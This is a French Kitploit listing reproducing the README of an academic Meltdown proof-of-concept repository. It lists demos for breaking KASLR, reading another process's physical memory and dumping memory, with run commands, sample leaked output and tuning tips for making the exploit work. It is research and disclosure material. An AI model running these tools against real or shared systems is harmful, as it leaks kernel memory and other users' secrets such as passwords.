Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
meltdown — Démos de preuve de concept et bibliothèque libkdump illustrant l'attaque microarchitecturale Meltdown, permettant la fuite de la mémoire du noyau et de la mémoire physique sur les CPU Intel vulnérables. | Kitploit
Outils/GitHubGitHub/isec-tugraz/meltdown
Criminalistique MémoireAnalyse des VulnérabilitésExploitationExfiltration de DonnéesCryptographieSécurité MatérielleArticles et RechercheExploitation de BinairesArchived
GitHubisec-tugraz/meltdown

meltdown

Démos de preuve de concept et bibliothèque libkdump illustrant l'attaque microarchitecturale Meltdown, permettant la fuite de la mémoire du noyau et de la mémoire physique sur les CPU Intel vulnérables.

4.2k521il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôtSite web

Preuve de concept de Meltdown

Ce dépôt contient plusieurs applications démontrant la faille Meltdown. Pour des informations techniques sur la faille, consultez l'article :

  • Meltdown par Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom et Hamburg

Les applications de ce dépôt sont construites avec libkdump, une bibliothèque que nous avons développée pour l'article. Cette bibliothèque simplifie l'exploitation de la faille en s'adaptant automatiquement à certaines propriétés de l'environnement.

Vidéos

Ce dépôt contient plusieurs vidéos démontrant Meltdown

  • Vidéo #1 montre comment Meltdown peut être utilisé pour espionner en temps réel la saisie d'un mot de passe.
  • Vidéo #2 montre comment Meltdown divulgue le contenu de la mémoire physique.
  • Vidéo #3 montre comment Meltdown reconstruit une photo à partir de la mémoire.
  • Vidéo #4 montre comment Meltdown reconstruit une photo à partir de la mémoire encodée au format de fichier FLIF.
  • Vidéo #5 montre comment Meltdown divulgue de la mémoire non mise en cache.

Démos

Ce dépôt contient cinq démos illustrant différents cas d'usage. Toutes les démos sont testées sur Ubuntu 16.04 avec un Intel Core i7-6700K, mais elles devraient fonctionner sur tout système Linux avec n'importe quel CPU Intel moderne depuis 2010.

Pour de meilleurs résultats, nous recommandons un CPU rapide prenant en charge Intel TSX (par exemple, tout Intel Core i7-5xxx, i7-6xxx ou i7-7xxx). De plus, chaque démo devrait être épinglée à un seul cœur CPU, par exemple avec taskset.

Dépendance de compilation pour les démos

Comme prérequis, vous devez installer glibc-static sur votre machine.

Pour les systèmes basés sur RPM :

root@kitploit:~
sudo yum install -y glibc-static

Démo #1 : Un premier test (test)

C'est la démo la plus basique. Elle utilise Meltdown pour lire des adresses accessibles depuis son propre espace d'adressage, sans briser aucun mécanisme d'isolation.

Si cette démo ne fonctionne pas pour vous, les démos restantes ne fonctionneront très probablement pas non plus. Les raisons sont multiples, par exemple, le CPU pourrait être trop lent, ne pas prendre en charge l'exécution dans le désordre, la minuterie haute résolution n'est pas suffisamment précise (surtout dans les VM), le système d'exploitation ne prend pas en charge les gestionnaires de signaux personnalisés, etc.

Compilation et exécution

root@kitploit:~
make
taskset 0x1 ./test

Si vous voyez une sortie similaire à ceci

root@kitploit:~
Expect: Welcome to the wonderful world of microarchitectural attacks
   Got: Welcome to the wonderful world of microarchitectural attacks

alors la démo de base fonctionne.

Démo #2 : Briser le KASLR (kaslr)

À partir du noyau Linux 4.12, le KASLR (Kernel Address Space Layout Randomizaton) est actif par défaut. Cela signifie que l'emplacement du noyau (ainsi que la carte physique directe qui mappe toute la mémoire physique) change à chaque redémarrage.

Cette démo utilise Meltdown pour divulguer la randomisation (secrète) de la carte physique directe. Cette démo nécessite les privilèges root pour accélérer le processus. L'article décrit une variante qui ne nécessite pas les privilèges root.

Compilation et exécution

root@kitploit:~
make
sudo taskset 0x1 ./kaslr

Après quelques secondes, vous devriez voir quelque chose de similaire à ceci

root@kitploit:~
[+] Direct physical map offset: 0xffff880000000000

Démo #3 : Test de fiabilité (reliability)

Cette démo teste la fiabilité avec laquelle la mémoire physique peut être lue. Pour cette démo, vous avez soit besoin de l'offset de la carte physique directe (par exemple à partir de la démo #2), soit vous devez désactiver le KASLR en spécifiant nokaslr dans votre ligne de commande du noyau.

Compilation et exécution

Compilez et lancez reliability. Si vous avez le KASLR activé, le premier paramètre est l'offset de la carte physique directe. Sinon, le programme ne nécessite aucun paramètre.

root@kitploit:~
make
sudo taskset 0x1 ./reliability 0xffff880000000000

Après quelques secondes, vous devriez obtenir une sortie similaire à ceci :

root@kitploit:~
[-] Success rate: 99.93% (read 1354 values)

Démo #4 : Lire la mémoire physique (physical_reader)

Cette démo lit la mémoire d'un autre processus en lisant directement la mémoire physique. Pour cette démo, vous avez soit besoin de l'offset de la carte physique directe (par exemple à partir de la démo #2), soit vous devez désactiver le KASLR en spécifiant nokaslr dans votre ligne de commande du noyau.

En principe, ce programme peut lire des adresses physiques arbitraires. Cependant, comme la mémoire physique contient beaucoup de données non lisibles par l'humain, nous fournissons un outil de test (secret), qui place une chaîne lisible par l'humain en mémoire et fournit directement l'adresse physique de cette chaîne.

Compilation et exécution

Pour la démo, exécutez d'abord secret (en tant que root) pour obtenir l'adresse physique d'une chaîne lisible par l'humain :

root@kitploit:~
make
sudo ./secret

Il devrait afficher quelque chose comme ceci :

root@kitploit:~
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret

Pendant que le programme secret s'exécute, lancez physical_reader. Le premier paramètre est l'adresse physique affichée par secret. Si vous n'avez pas désactivé le KASLR, le second paramètre est l'offset de la carte physique directe.

root@kitploit:~
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000

Après quelques secondes, vous devriez obtenir une sortie similaire à ceci :

root@kitploit:~
[+] Physical address       : 0x390fff400
[+] Physical offset        : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400

If you can read this, this is really bad

Démo #5 : Vider la mémoire (memdump)

Cette démo vide le contenu de la mémoire. Comme les démos #3 et #4, elle utilise la carte physique directe pour vider le contenu de la mémoire physique dans un format de type hexdump.

Là encore, comme la mémoire physique contient beaucoup de contenu non lisible par l'humain, nous fournissons un outil de test pour remplir de grandes quantités de mémoire physique avec des chaînes lisibles par l'humain.

Compilation et exécution

Pour la démo, exécutez d'abord memory_filler pour remplir la mémoire avec des chaînes lisibles par l'humain. Le premier argument est la quantité de mémoire (en gigaoctets) à remplir.

root@kitploit:~
make
./memory_filler 9

Ensuite, exécutez l'outil memdump pour vider le contenu de la mémoire. Si vous avez exécuté memory_filler auparavant, vous devriez voir quelques fragments de chaînes. Si vous avez Firefox ou Chrome avec plusieurs onglets ouverts, vous pourriez également voir des parties des sites web qui sont ouverts ou qui ont été récemment fermés.

Le premier paramètre est l'adresse physique à laquelle le vidage doit commencer (laissez vide pour commencer au premier gigaoctet). Le second paramètre est le nombre d'octets que vous souhaitez lire ; pour tout lire, indiquez -1. Si vous n'avez pas désactivé le KASLR, le troisième paramètre est l'offset de la carte physique directe.

root@kitploit:~
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB

Vous devriez obtenir un hexdump de parties de la mémoire (contenant potentiellement même des secrets tels que des mots de passe, voir l'exemple dans l'article), par exemple :

root@kitploit:~
 240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
 24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
 24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
 24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
 24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
 24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
 24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
 2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
 2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
 240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
 2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
 240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
 24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
 24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
 2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
 24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
 24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 |  spied on an app |

Foire aux questions

  • Est-ce que cela fonctionne sous Windows / Ubuntu on Windows (WSL) / Mac OS ?

    Non. Ce PoC ne fonctionne que sous Linux, car il utilise des propriétés spécifiques au noyau Linux, telles que la carte physique directe.

  • Puis-je exécuter le PoC dans une machine virtuelle ?

    Oui, le PoC fonctionne également sur des machines virtuelles. Cependant, en raison de la couche supplémentaire introduite par une machine virtuelle, il pourrait ne pas fonctionner aussi bien que sur du matériel natif.

  • Le programme KASLR (kaslr) ne trouve pas l'offset !

    L'outil kaslr ne fait que très peu de mesures pour être rapide. S'il ne trouve pas l'offset, il y a deux possibilités :

    • modifier le nombre de tentatives dans kaslr.c : config.retries = 1000;
    • utiliser le module noyau dans kaslr_offset pour lire directement l'offset depuis le noyau. Installez les en-têtes du noyau pour votre noyau (sudo apt-get install linux-headers-`uname -r` ) et exécutez sudo ./direct_physical_map.sh
  • Vous avez dit que cela fonctionne sur de la mémoire non mise en cache, mais toutes vos démos s'assurent que la mémoire est mise en cache !

    Le faire fonctionner sur de la mémoire non mise en cache est plus délicat et nécessite souvent quelques ajustements des paramètres. Ainsi, nous nous assurons que la mémoire est mise en cache dans le PoC pour faciliter la reproduction. Cependant, vous pouvez simplement supprimer le code qui met les valeurs en cache et le remplacer par un pour tester l'exploit sur de la mémoire non mise en cache (voir la Vidéo #5 pour un exemple). Bien que cela ne figure pas dans l'article de blog original de Google, cela a également été confirmé par des chercheurs indépendants (par exemple , , ).

Avertissements

Avertissement #1 : Nous fournissons ce code tel quel. Il est de votre responsabilité de vous protéger, ainsi que vos biens et données, et les autres, contre tout risque causé par ce code. Ce code peut provoquer un comportement inattendu et indésirable sur votre machine. Ce code peut ne pas détecter la vulnérabilité sur votre machine.

Avertissement #2 : Si vous constatez qu'un ordinateur est sensible à la faille Meltdown, vous voudrez peut-être éviter de l'utiliser comme système multi-utilisateur. Meltdown brise la protection mémoire du CPU. Sur une machine sensible à la faille Meltdown, un processus peut lire toutes les pages utilisées par d'autres processus ou par le noyau.

Avertissement #3 : Ce code est uniquement à des fins de test. Ne l'exécutez sur aucun système de production. Ne l'exécutez sur aucun système susceptible d'être utilisé par une autre personne ou entité.

Télécharger l’outil
clflush
Alex Ionescu
Raphael Carvalho
Pavel Boldin
  • Cela ne fonctionne tout simplement pas sur mon ordinateur, que puis-je faire ?

    Il peut y avoir de nombreuses raisons différentes à cela. Nous avons rassemblé quelques choses que vous pouvez essayer :

    • Assurez-vous que la fréquence de votre CPU est au maximum et que la mise à l'échelle de fréquence est désactivée.
    • Si vous l'exécutez sur un appareil mobile (par exemple, un ordinateur portable), assurez-vous qu'il est branché pour obtenir les meilleures performances.
    • Essayez d'épingler les outils à un cœur CPU spécifique (par exemple avec taskset). Essayez également différents cœurs et combinaisons de cœurs.
    • Variez la charge sur votre ordinateur. Sur certaines machines, cela fonctionne mieux si la charge est plus élevée, sur d'autres cela fonctionne mieux si la charge est plus faible.
    • Essayez de désactiver l'hyperthreading dans le BIOS. Sur certains ordinateurs, cela fonctionne beaucoup mieux si l'hyperthreading est désactivé.
    • Utilisez une variante différente de Meltdown. Cela peut être modifié dans libkdump/libkdump.c à la ligne #define MELTDOWN meltdown_nonull. Essayez par exemple meltdown au lieu de meltdown_nonull, ce qui fonctionne beaucoup mieux sur certaines machines (mais pas du tout sur d'autres).
    • Essayez de créer de nombreuses interruptions, par exemple en exécutant l'outil stress avec stress -i 2 (ou d'autres valeurs pour le paramètre i, selon le nombre de cœurs).
    • Essayez de redémarrer les démos ainsi que votre ordinateur. Surtout après une mise en veille, les timings sont erronés sur certains ordinateurs.
    • Jouez avec les paramètres de libkdump, par exemple augmentez le nombre de tentatives et/ou de mesures.